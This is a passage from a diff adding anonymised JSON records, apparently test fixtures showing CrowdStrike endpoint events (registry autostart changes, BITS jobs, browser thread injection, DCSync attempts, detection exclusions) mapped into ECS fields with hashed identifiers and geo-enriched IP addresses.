+                "EventOrigin": "1",
+                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c",
+                "RegOperationType": "5",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6b69e784610ff3e5da99cb6f884fbb59c197",
+                "name": "d86b419894d5423"
+            },
+            "device": {
+                "id": "061f50de227f377d5a1cbbcda2493711"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "registry"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6b69e784610ff3e5da99cb6f884fbb59c197|061f50de227f377d5a1cbbcda2493711|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"AsepKeyUpdate\",\"ContextTimeStamp\":\"1755155954.441\",\"AsepFlags\":\"3\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"3007920321347\",\"AsepClass\":\"7\",\"AsepIndex\":\"5\",\"ContextThreadId\":\"416006001900040\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\2345e09c\",\"RegOperationType\":\"5\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"AsepValueType\":\"0\",\"TokenType\":\"1\",\"Entitlements\":\"66\",\"name\":\"d86b419894d5423\",\"EventOrigin\":\"1\",\"id\":\"6b69e784610ff3e5da99cb6f884fbb59c197\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"061f50de227f377d5a1cbbcda2493711\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "061f50de227f377d5a1cbbcda2493711",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "AsepKeyUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "061f50de227f377d5a1cbbcda2493711",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3007920321347",
+                "thread": {
+                    "id": 416006001900040
+                }
+            },
+            "registry": {
+                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c",
+                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c"
+            },
+            "related": {
+                "hash": [
+                    "4001039063"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AsepClass": "94",
+                "AsepFlags": "0",
+                "AsepIndex": "600",
+                "AsepValueType": "0",
+                "AuthenticationId": "7054705",
+                "ConfigStateHash": "204061009",
+                "ContextProcessId": "47593002510450",
+                "ContextTimeStamp": "2025-08-27T07:45:38.081Z",
+                "Data1": "31",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "RegObjectName": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b",
+                "RegOperationType": "1",
+                "RegStringValue": "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe",
+                "RegType": "1",
+                "TargetCommandLineParameters": "8 -c07e1208b8efbe",
+                "TargetSHA256HashData": "36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "1165d56b44df464d4a3dd26905c78ac2c7e5",
+                "name": "8f3c176fdab74b6c9"
+            },
+            "device": {
+                "id": "f929742c2e4bd22b1829b6206b1dc84b"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "registry"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "1165d56b44df464d4a3dd26905c78ac2c7e5|f929742c2e4bd22b1829b6206b1dc84b|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"AsepFlags\":\"0\",\"ContextThreadId\":\"970373501024004\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\f33b4a1f\\\\02413\\\\4e7075fa\\\\25f3666b\",\"Data1\":\"31\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"TargetCommandLineParameters\":\"8 -c07e1208b8efbe\",\"EventOrigin\":\"1\",\"id\":\"1165d56b44df464d4a3dd26905c78ac2c7e5\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"AsepValueUpdate\",\"ContextTimeStamp\":\"1756280738.081\",\"ConfigStateHash\":\"204061009\",\"RegType\":\"1\",\"ContextProcessId\":\"47593002510450\",\"AsepClass\":\"94\",\"AsepIndex\":\"600\",\"AuthenticationId\":\"7054705\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"\",\"AsepValueType\":\"0\",\"TargetSHA256HashData\":\"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906\",\"Entitlements\":\"96\",\"name\":\"8f3c176fdab74b6c9\",\"aid\":\"f929742c2e4bd22b1829b6206b1dc84b\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\f5be3\\\\e5cdd471\\\\94554fd8.exe\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471",
+                "extension": "exe",
+                "name": "94554fd8.exe",
+                "path": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe",
+                "type": "file"
+            },
+            "host": {
+                "id": "f929742c2e4bd22b1829b6206b1dc84b",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "AsepValueUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "f929742c2e4bd22b1829b6206b1dc84b",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "47593002510450",
+                "thread": {
+                    "id": 970373501024004
+                }
+            },
+            "registry": {
+                "data": {
+                    "strings": [
+                        "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe"
+                    ],
+                    "type": "REG_SZ"
+                },
+                "key": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b",
+                "path": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b"
+            },
+            "related": {
+                "hash": [
+                    "204061009"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "70760008",
+                "ConfigStateHash": "9968901000",
+                "ContextProcessId": "3100000500830",
+                "ContextTimeStamp": "2025-06-11T18:54:08.903Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InterfaceGuid": "3c1edad779c6920ba025d32fc1d69997cc40",
+                "InterfaceVersion": "0",
+                "RpcClientProcessId": "4508060034060",
+                "RpcClientThreadId": "207001810400038",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "4",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "eedef0c0fc042e28949c251e42e913cb3fe6",
+                "name": "11cf958b636de07e"
+            },
+            "device": {
+                "id": "082e3fde13bab854ebe72df7d1543cae"
+            },
+            "event": {
+                "action": "BITSJobCreated",
+                "category": [
+                    "network",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "eedef0c0fc042e28949c251e42e913cb3fe6|082e3fde13bab854ebe72df7d1543cae|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"615659447400000\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"3c1edad779c6920ba025d32fc1d69997cc40\",\"RpcClientProcessId\":\"4508060034060\",\"id\":\"eedef0c0fc042e28949c251e42e913cb3fe6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BITSJobCreated\",\"ContextTimeStamp\":\"1749668048.903\",\"UserName\":\"d38b4ca4\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"3100000500830\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"207001810400038\",\"AuthenticationId\":\"70760008\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RpcOpNum\":\"4\",\"Entitlements\":\"76\",\"name\":\"11cf958b636de07e\",\"aid\":\"082e3fde13bab854ebe72df7d1543cae\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\d38b4ca4\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\1e547bc1\\\\7c2816f5.crx3\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1",
+                "extension": "crx3",
+                "name": "7c2816f5.crx3",
+                "path": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3",
+                "type": "file"
+            },
+            "host": {
+                "id": "082e3fde13bab854ebe72df7d1543cae",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "BITSJobCreated",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "082e3fde13bab854ebe72df7d1543cae",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3100000500830",
+                "thread": {
+                    "id": 615659447400000
+                }
+            },
+            "related": {
+                "hash": [
+                    "9968901000"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "d38b4ca4"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "d38b4ca4"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "50820000",
+                "ContextProcessId": "1107334096070",
+                "ContextTimeStamp": "2025-09-10T19:52:08.090Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InjectedThreadFlag": "2",
+                "RawThreadId": "20602",
+                "SourceThreadStartAddress": "380906022020800",
+                "TargetThreadId": "104623560606010",
+                "ThreadStartAddress": "800560009080720",
+                "ThreadStartContext": "0",
+                "UserThread": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f6f3399ea7912626def5330fbc430ff02ac2",
+                "name": "126bc261e48aa7159043700"
+            },
+            "device": {
+                "id": "1b044c25005f7f866e92ee245376c69e"
+            },
+            "event": {
+                "action": "BrowserInjectedThread",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f6f3399ea7912626def5330fbc430ff02ac2|1b044c25005f7f866e92ee245376c69e|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ThreadStartAddress\":\"800560009080720\",\"InjectedThreadFlag\":\"2\",\"ContextThreadId\":\"500030143990970\",\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"f6f3399ea7912626def5330fbc430ff02ac2\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BrowserInjectedThread\",\"TargetThreadId\":\"104623560606010\",\"RawProcessId\":\"76850\",\"ContextTimeStamp\":\"1757533928.090\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"1107334096070\",\"ThreadStartContext\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"7011710205985\",\"Entitlements\":\"76\",\"name\":\"126bc261e48aa7159043700\",\"RawThreadId\":\"20602\",\"aid\":\"1b044c25005f7f866e92ee245376c69e\",\"SourceThreadStartAddress\":\"380906022020800\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access",
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "1b044c25005f7f866e92ee245376c69e",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "BrowserInjectedThread",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "1b044c25005f7f866e92ee245376c69e",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "7011710205985",
+                "pid": 76850,
+                "thread": {
+                    "id": 500030143990970
+                }
+            },
+            "related": {
+                "hash": [
+                    "50820000"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ApplicationName": "7371f07",
+                "CommandCount": 3,
+                "CommandCountMax": 983,
+                "CommandHistory": "41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa",
+                "ConfigStateHash": "7040662006",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "FirstCommand": "0",
+                "LastAdded": "2",
+                "LastDisplayed": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "7f67dc98da59af9b207392dd643b6696521d",
+                "name": "b42a7420dfe70b77"
+            },
+            "device": {
+                "id": "985fa1e64b797b6a5e673a83fdc68828"
+            },
+            "event": {
+                "action": "CommandHistory",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "7f67dc98da59af9b207392dd643b6696521d|985fa1e64b797b6a5e673a83fdc68828|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"CommandHistory\",\"CommandHistory\":\"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa\",\"FirstCommand\":\"0\",\"CommandCountMax\":\"983\",\"ApplicationName\":\"7371f07\",\"ConfigStateHash\":\"7040662006\",\"LastDisplayed\":\"0\",\"aip\":\"81.2.69.192\",\"LastAdded\":\"2\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3502200260267\",\"Entitlements\":\"96\",\"name\":\"b42a7420dfe70b77\",\"EventOrigin\":\"1\",\"id\":\"7f67dc98da59af9b207392dd643b6696521d\",\"CommandCount\":\"3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"985fa1e64b797b6a5e673a83fdc68828\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end",
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "985fa1e64b797b6a5e673a83fdc68828",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "CommandHistory",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "985fa1e64b797b6a5e673a83fdc68828",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "3502200260267"
+            },
+            "related": {
+                "hash": [
+                    "7040662006"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "6420000067",
+                "ConfigStateHash": "3400520000",
+                "ContextProcessId": "7067360709400",
+                "ContextTimeStamp": "2025-06-08T15:55:12.834Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "46",
+                "EventOrigin": "45",
+                "ObjectNameEtw": "4355e623406251da1e189448d464d6e80e14d22",
+                "ObjectTypeEtw": "4355e623406251da1e189448d464d6e80e14d22",
+                "ServiceAccessPropertiesEtw": "f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9",
+                "SubjectDomainNameEtw": "61",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "027ea26f253aa77e2fcf588772b9d2d6f37c",
+                "name": "68a40a05895ff9a35"
+            },
+            "destination": {
+                "address": "2a02:cf40::2",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::2"
+            },
+            "device": {
+                "id": "350ffb0329569649f8bac872d658cbfc"
+            },
+            "event": {
+                "action": "DCSyncAttempted",
+                "category": [
+                    "configuration",
+                    "iam"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "027ea26f253aa77e2fcf588772b9d2d6f37c|350ffb0329569649f8bac872d658cbfc|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ObjectNameEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"aip\":\"81.2.69.144\",\"UserSid\":\"S-25368-38230-13235\",\"event_platform\":\"Win\",\"ObjectTypeEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"ClientComputerName\":\"-\",\"EventOrigin\":\"45\",\"id\":\"027ea26f253aa77e2fcf588772b9d2d6f37c\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DCSyncAttempted\",\"ContextTimeStamp\":\"1749398112.834\",\"UserName\":\"1611e7b\",\"ConfigStateHash\":\"3400520000\",\"EtwRawProcessId\":\"835\",\"ContextProcessId\":\"7067360709400\",\"SubjectDomainNameEtw\":\"61\",\"AuthenticationId\":\"6420000067\",\"ServiceAccessPropertiesEtw\":\"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Entitlements\":\"46\",\"name\":\"68a40a05895ff9a35\",\"aid\":\"350ffb0329569649f8bac872d658cbfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "id": "350ffb0329569649f8bac872d658cbfc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DCSyncAttempted",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "350ffb0329569649f8bac872d658cbfc",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "7067360709400",
+                "pid": 835
+            },
+            "related": {
+                "hash": [
+                    "3400520000"
+                ],
+                "ip": [
+                    "81.2.69.144",
+                    "2a02:cf40::2"
+                ],
+                "user": [
+                    "1611e7b",
+                    "S-25368-38230-13235"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-25368-38230-13235",
+                "name": "1611e7b"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AllowlistingFilterId": "a3ea8710853f4e1e7",
+                "BoundingLimitCount": 1,
+                "BoundingLimitDuration": "3486640",
+                "ConfigStateHash": "4080600092",
+                "ContextTimeStamp": "2025-09-16T11:58:18.952Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventCorrelationId": "07103f94d0545ee24951b8c8ce76a5023743",
+                "EventOrigin": "5",
+                "ExclusionSource": "5",
+                "ExclusionType": "1",
+                "PatternId": "607",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "01a0844d7700635d462669bbadb475d7dcf1",
+                "name": "b7f0eea0ced34df529cc"
+            },
+            "device": {
+                "id": "016ef640d4add7c7c7e72a5bfc4198c0"
+            },
+            "event": {
+                "action": "DetectionExcluded",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "01a0844d7700635d462669bbadb475d7dcf1|016ef640d4add7c7c7e72a5bfc4198c0|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"1\",\"UserSid\":\"S-86813-72426-80065-35729-11846-72517-75085\",\"AllowlistingFilterId\":\"a3ea8710853f4e1e7\",\"event_platform\":\"Win\",\"PatternId\":\"607\",\"EventOrigin\":\"5\",\"ContextData\":\"\",\"id\":\"01a0844d7700635d462669bbadb475d7dcf1\",\"EventCorrelationId\":\"07103f94d0545ee24951b8c8ce76a5023743\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DetectionExcluded\",\"ContextTimeStamp\":\"1758023898.952\",\"ConfigStateHash\":\"4080600092\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"82\\\\ab7e5c1\\\\d24e5507\\\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"TargetProcessId\":\"6010945098000\",\"BoundingLimitDuration\":\"3486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\d24e5507\\\\7d7f62b.exe\",\"ExclusionType\":\"1\",\"Entitlements\":\"56\",\"name\":\"b7f0eea0ced34df529cc\",\"ExclusionSource\":\"5\",\"aid\":\"016ef640d4add7c7c7e72a5bfc4198c0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change",
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "016ef640d4add7c7c7e72a5bfc4198c0",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DetectionExcluded",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "016ef640d4add7c7c7e72a5bfc4198c0",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "82\\ab7e5c1\\d24e5507\\12ab4d0.exe",
+                    "/Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}"
+                ],
+                "args_count": 2,
+                "command_line": "82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
+                "entity_id": "6010945098000",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe",
+                "name": "7d7f62b.exe"
+            },
+            "related": {
+                "hash": [
+                    "4080600092"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "S-86813-72426-80065-35729-11846-72517-75085"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-86813-72426-80065-35729-11846-72517-75085"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "7173090406564",
+                "ContextTimeStamp": "2025-10-03T02:41:24.824Z",
+                "DesiredAccess": "5065411",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileAttributes": "274",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "HandleCreateAuthenticationId": "4000900",
+                "Information": "2",
+                "IrpFlags": "2500",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "53790000",
+                "ShareAccess": "3",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "245b89777adfd68f4020de1758e56c4467f6",
+                "name": "b44ad77e88405a082"
+            },
+            "device": {
+                "id": "cd2ef6603266196efe9f1ac402a1586a"
+            },
+            "event": {
+                "action": "DirectoryCreate",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "245b89777adfd68f4020de1758e56c4467f6|cd2ef6603266196efe9f1ac402a1586a|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"Options\":\"53790000\",\"ContextThreadId\":\"32005063951800\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"28476710775acf368038686c22c97be5f159b0efaeb459a6\",\"Information\":\"2\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"245b89777adfd68f4020de1758e56c4467f6\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"274\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1759459284.824\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"7173090406564\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"4000900\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5065411\",\"Entitlements\":\"66\",\"name\":\"b44ad77e88405a082\",\"OperationFlags\":\"0\",\"aid\":\"cd2ef6603266196efe9f1ac402a1586a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\7392ca2\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\43ae32\\\\664edf91\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32",
+                "inode": "28476710775acf368038686c22c97be5f159b0efaeb459a6",
+                "name": "664edf91",
+                "path": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91",
+                "type": "dir"
+            },
+            "host": {
+                "id": "cd2ef6603266196efe9f1ac402a1586a",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DirectoryCreate",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "cd2ef6603266196efe9f1ac402a1586a",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "7173090406564",
+                "thread": {
+                    "id": 32005063951800
+                }
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
